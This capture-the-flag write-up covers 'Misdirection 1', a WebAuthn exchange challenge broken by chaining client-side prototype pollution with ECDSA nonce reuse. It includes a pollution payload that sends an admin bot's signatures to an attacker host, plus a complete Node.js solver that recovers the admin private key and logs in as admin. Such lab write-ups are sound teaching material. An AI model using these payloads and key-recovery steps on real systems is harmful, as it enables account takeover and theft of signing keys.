Featured image of post Securinets Quals 2026 - Misdirection 1

Securinets Quals 2026 - Misdirection 1

The challenge essentially aims to test users on how they can break and navigate WebauthN, which is not that common of protocol in ctf challenges but still interesting to explore.

XChange is a simulated BTC exchange. Auth is WebAuthn-only (passkeys, via webauthn-rs on the backend and @simplewebauthn/browser on the frontend). The flag sits behind /api/flag, which requires a balance of 5,000,000 BTC (a virtual barrier, you basically need to become admin and use /api/admin/add_funds).

There’s no way to log in as admin through the normal UI: admin is a reserved username, and the account’s one passkey was registered automatically on challenge startup and seeded directly in the db. The only route to admin is through a human-in-the-loop admin bot reachable via Settings → Report an issue → Authentication issue, which POSTs a player-supplied URL (kinda, it defaults to the challenge url but you can redirect the bot easily with a prototype pollution) to /report:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
pub async fn report_handler(Json(payload): Json<ReportRequest>) -> Json<ReportResponse> {
    let frontend_url = var("FRONTEND_URL");
    if !payload.url.starts_with(&frontend_url) {
        return reply("error", format!("URL must start with {frontend_url}"));
    }
    let bot_url = payload.url.replacen(&frontend_url, &var("BOT_FRONTEND_URL"), 1);
    let output = Command::new("node")
        .current_dir(var("BOT_DIR"))
        .arg("bot.js")
        .arg(&bot_url)
        .env("ADMIN_PRIVATE_KEY", var("ADMIN_PRIVATE_KEY"))
        .env("WEBAUTHN_ORIGIN", &frontend_url)
        .output();
    ...
}

This spawns a real headless Chromium (bot/bot.js, via Playwright) that navigates to the given URL (rewritten onto the internal BOT_FRONTEND_URL host), registers a throwaway account, and logs in — using a forged WebAuthn implementation that signs with the real admin private key. The bug chain is about hijacking that bot.


Bug 1 client-side prototype pollution

This is just a basic first layer so the challenge isn’t trivial.

App.tsx runs this on every page load, before React even mounts:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function deepMerge(target: any, source: any) {
  for (const key in source) {
    if (source[key] instanceof Object && key in target) {
      deepMerge(target[key], source[key])
    } else {
      target[key] = source[key]
    }
  }
}

try {
  const raw = new URLSearchParams(window.location.search).get('settings')
  if (raw) deepMerge({}, JSON.parse(raw))
} catch { console.error('Invalid settings JSON') }

JSON.parse('{"__proto__":{"baseURL":"..."}}') produces an object with a literal own property named "__proto__" (via JSON.parse’s internal CreateDataProperty, not the [[Set]] trap. This is exactly why it has to go through JSON.parse and can’t be written as a plain object literal, where an unquoted __proto__: key sets the prototype instead of creating a property). deepMerge({}, parsed) then recurses into deepMerge(target["__proto__"], source["__proto__"]) and reading target["__proto__"] does go through the real accessor, handing back Object.prototype itself. The inner assignment target["baseURL"] = "..." is just a normal property name, so it pollutes Object.prototype.baseURL for the rest of the page’s lifetime.

lib/auth.tsx reads exactly that property for every WebAuthn network call:

1
export const getAuthUrl = () => (Object.prototype as any).baseURL || window.location.origin

So ?settings={"__proto__":{"baseURL":"https://very.evil-lol.com"}} on any path redirects every register_start/register_finish/login_start/login_finish call the page makes to that url which you can control easily, including when the admin bot loads that page.

Bug 2 static ECDSA nonce in the forged signature

This is the crypto part of the challenge, which as you will see isn’t as complicated as many players came crying about in tickets lol.

report_handler rewrites the player’s URL to the internal host but keeps the query string, so ?settings=... survives. bot.js forces the path to /auth but also keeps the query string intact, so the bot lands on /auth?settings=... with the pollution live before it ever registers or logs in.

The bot’s login step forges a WebAuthn assertion signed by the real admin key:

1
2
3
4
5
6
7
8
async function forgeAuthentication(rpId, challengeB64Url, credIdB64Url) {
    ...
    const rpIdHash = sha256(rpId);
    const authData = Buffer.concat([rpIdHash, flags, signCount]);
    const msgHash = sha256(Buffer.concat([authData, clientDataHash]));
    const signature = keyPair.sign(msgHash, { k: () => ec.keyFromPrivate(rpIdHash, 'hex').getPrivate() });
    ...
}

The ECDSA nonce k is forced to a value derived only from rp_id, not from the message. Since the bot’s own page always navigates to the same internal host, rp_id (which defaults to document.domain when the attacker doesn’t override it) is identical on every /report run so k is identical on every run too. Two signatures sharing k (and therefore the same r) over two different messages is the textbook ECDSA nonce-reuse case:

$$ s_1 = k^{-1}(z_1 + r d), \qquad s_2 = k^{-1}(z_2 + r d) $$$$ k = \frac{z_1 - z_2}{s_1 - s_2} \pmod{n} $$$$ d = \frac{s_1 k - z_1}{r} \pmod{n} $$

Exploit chain

  1. Stand up a public collector (any HTTP server reachable from the challenge’s backend a Cloudflare Quick Tunnel, ngrok, localtunnel, or a real VPS all work equally well.)
  2. Serve fake register_start/register_finish/login_start responses (any syntactically valid WebAuthn options), and capture whatever gets POSTed to login_finish.
  3. Trigger /report twice with url = FRONTEND_URL + "/x?settings=" + encodeURIComponent('{"__proto__":{"baseURL":"your-domain"}}').
  4. From the two captured assertions, recompute z = SHA256(authenticatorData || SHA256(clientDataJSON)), parse (r, s) out of the DER signature, confirm both share r, and solve for k and d.
  5. With d known, build one completely ordinary, valid ECDSA login assertion directly against the real backend’s real. login_start/RP_ID/origin and log in as admin for real.
  6. POST /api/admin/add_funds to mint BTC to admin, then POST /api/flag.

Solver

Click to expand code
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/usr/bin/env node

const http = require('http');
const crypto = require('crypto');
const EC = require('elliptic').ec;
const BN = require('bn.js');

const ec = new EC('p256');
const n = ec.n;

const TARGET = "xch1.bit-raven.com";
const CALLBACK = "your.callback.url";
const PORT = 80; // whatever your collector is listening on

const RP_ID = 'your.callback.url';

function b64url(buf) {
    return buf.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
function b64urlDecode(s) {
    return Buffer.from(s.replace(/-/g, '+').replace(/_/g, '/'), 'base64');
}

function parseDerSignature(buf) {
    let offset = 0;
    if (buf[offset++] !== 0x30) throw new Error('not a DER SEQUENCE');
    offset++;
    function readInt() {
        if (buf[offset++] !== 0x02) throw new Error('expected DER INTEGER');
        const len = buf[offset++];
        const v = new BN(buf.slice(offset, offset + len));
        offset += len;
        return v;
    }
    return { r: readInt(), s: readInt() };
}

const captures = [];

function startCollector() {
    const server = http.createServer((req, res) => {
        res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
        res.setHeader('Access-Control-Allow-Credentials', 'true');
        res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
        res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
        if (req.method === 'OPTIONS') { res.statusCode = 204; res.end(); return; }

        let body = '';
        req.on('data', c => body += c);
        req.on('end', () => {
            const path = req.url.split('?')[0];
            if (req.method === 'POST' && /^\/register_start\//.test(path)) {
                res.setHeader('Content-Type', 'application/json');
                res.end(JSON.stringify({ publicKey: {
                    challenge: b64url(crypto.randomBytes(32)),
                    rp: { id: RP_ID, name: 'solver' },
                    user: { id: b64url(crypto.randomBytes(16)), name: 'x', displayName: 'x' },
                    pubKeyCredParams: [{ type: 'public-key', alg: -7 }],
                    timeout: 60000,
                    attestation: 'none',
                } }));
            } else if (req.method === 'POST' && path === '/register_finish') {
                res.end('{}');
            } else if (req.method === 'POST' && /^\/login_start\//.test(path)) {
                res.setHeader('Content-Type', 'application/json');
                res.end(JSON.stringify({ publicKey: {
                    challenge: b64url(crypto.randomBytes(32)),
                    rpId: RP_ID,
                    allowCredentials: [],
                    timeout: 60000,
                    userVerification: 'preferred',
                } }));
            } else if (req.method === 'POST' && path === '/login_finish') {
                try {
                    const cred = JSON.parse(body);
                    captures.push({
                        authenticatorData: b64urlDecode(cred.response.authenticatorData),
                        clientDataJSON: b64urlDecode(cred.response.clientDataJSON),
                        signature: b64urlDecode(cred.response.signature),
                    });
                    console.error(`captured forged signature #${captures.length}`);
                } catch (e) {
                    console.error('could not parse login_finish body:', e.message);
                }
                res.end('{}');
            } else {
                res.statusCode = 404;
                res.end();
            }
        });
    });
    return new Promise(resolve => server.listen(PORT, () => resolve(server)));
}

async function triggerReport() {
    const settings = `{"__proto__":${JSON.stringify({ baseURL: CALLBACK })}}`;
    const url = `${TARGET}/x?settings=${encodeURIComponent(settings)}`;
    const r = await fetch(`${TARGET}/report`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ url }),
    });
    console.error('/report ->', await r.json().catch(() => ({})));
}

function messageHash(c) {
    const clientDataHash = crypto.createHash('sha256').update(c.clientDataJSON).digest();
    return crypto.createHash('sha256').update(Buffer.concat([c.authenticatorData, clientDataHash])).digest();
}

async function recoverPrivateKey() {
    const [c1, c2] = captures;
    const sig1 = parseDerSignature(c1.signature);
    const sig2 = parseDerSignature(c2.signature);

    if (!sig1.r.eq(sig2.r)) {
        throw new Error('signatures do not share r, nonce was not reused (is the target already patched?)');
    }

    const z1 = new BN(messageHash(c1));
    const z2 = new BN(messageHash(c2));
    const r = sig1.r;

    const k = z1.sub(z2).umod(n).mul(sig1.s.sub(sig2.s).umod(n).invm(n)).umod(n);
    const d = sig1.s.mul(k).sub(z1).umod(n).mul(r.invm(n)).umod(n);

    return d;
}

async function loginAsAdmin(d) {
    const kp = ec.keyFromPrivate(d.toArray('be', 32));

    const startRes = await fetch(`${TARGET}/login_start/admin`, { method: 'POST' });
    const { publicKey } = await startRes.json();
    const setCookie = startRes.headers.get('set-cookie');
    const sessionCookie = setCookie ? setCookie.split(';')[0] : '';

    const credId = publicKey.allowCredentials[0].id;
    const challenge = publicKey.challenge;
    const rpId = publicKey.rpId;

    const clientData = { type: 'webauthn.get', challenge, origin: TARGET, crossOrigin: false };
    const clientDataJSON = Buffer.from(JSON.stringify(clientData));
    const clientDataHash = crypto.createHash('sha256').update(clientDataJSON).digest();
    const rpIdHash = crypto.createHash('sha256').update(rpId).digest();
    const signCount = Buffer.alloc(4);
    signCount.writeUInt32BE(Math.floor(Date.now() / 1000));
    const authData = Buffer.concat([rpIdHash, Buffer.from([0x05]), signCount]);
    const msgHash = crypto.createHash('sha256').update(Buffer.concat([authData, clientDataHash])).digest();

    const sigDer = Buffer.from(kp.sign(msgHash).toDER());

    const finishRes = await fetch(`${TARGET}/login_finish`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json', Cookie: sessionCookie },
        body: JSON.stringify({
            id: credId,
            rawId: credId,
            type: 'public-key',
            response: {
                authenticatorData: b64url(authData),
                clientDataJSON: b64url(clientDataJSON),
                signature: b64url(sigDer),
                userHandle: null,
            },
            clientExtensionResults: {},
        }),
    });

    if (finishRes.status !== 200) {
        throw new Error(`login_finish failed: ${finishRes.status} ${await finishRes.text()}`);
    }
    const finalCookie = (finishRes.headers.get('set-cookie') || sessionCookie).split(';')[0];
    console.error('logged in as admin for real, cookie:', finalCookie);
    return finalCookie;
}

async function cashOutAndGetFlag(cookie) {
    const headers = { 'Content-Type': 'application/json', Cookie: cookie };

    const me = await (await fetch(`${TARGET}/api/me`, { headers })).json();
    console.error('/api/me ->', me);
    if (!me.is_admin) throw new Error('not actually admin?');

    const mint = await fetch(`${TARGET}/api/admin/add_funds`, {
        method: 'POST', headers,
        body: JSON.stringify({ target_username: 'admin', amount: '5000000' }),
    });
    console.error('mint ->', mint.status);

    const flagRes = await fetch(`${TARGET}/api/flag`, { method: 'POST', headers });
    const flag = await flagRes.json();
    console.error('/api/flag ->', flagRes.status, flag);
}

async function main() {
    const server = await startCollector();
    console.error(`collector listening on :${PORT}, advertised as ${CALLBACK}`);

    for (let i = 0; i < 2; i++) {
        const before = captures.length;
        await triggerReport();
        if (captures.length <= before) {
            console.error('WARNING: /report returned but no signature was captured, check CALLBACK reachability');
        }
    }
    server.close();

    if (captures.length < 2) throw new Error(`only captured ${captures.length}/2 signatures`);

    const d = await recoverPrivateKey();
    console.log('recovered admin private key:', d.toString(16));

    const cookie = await loginAsAdmin(d);
    await cashOutAndGetFlag(cookie);
}

main().catch(e => { console.error('FAILED:', e.message); process.exit(1); });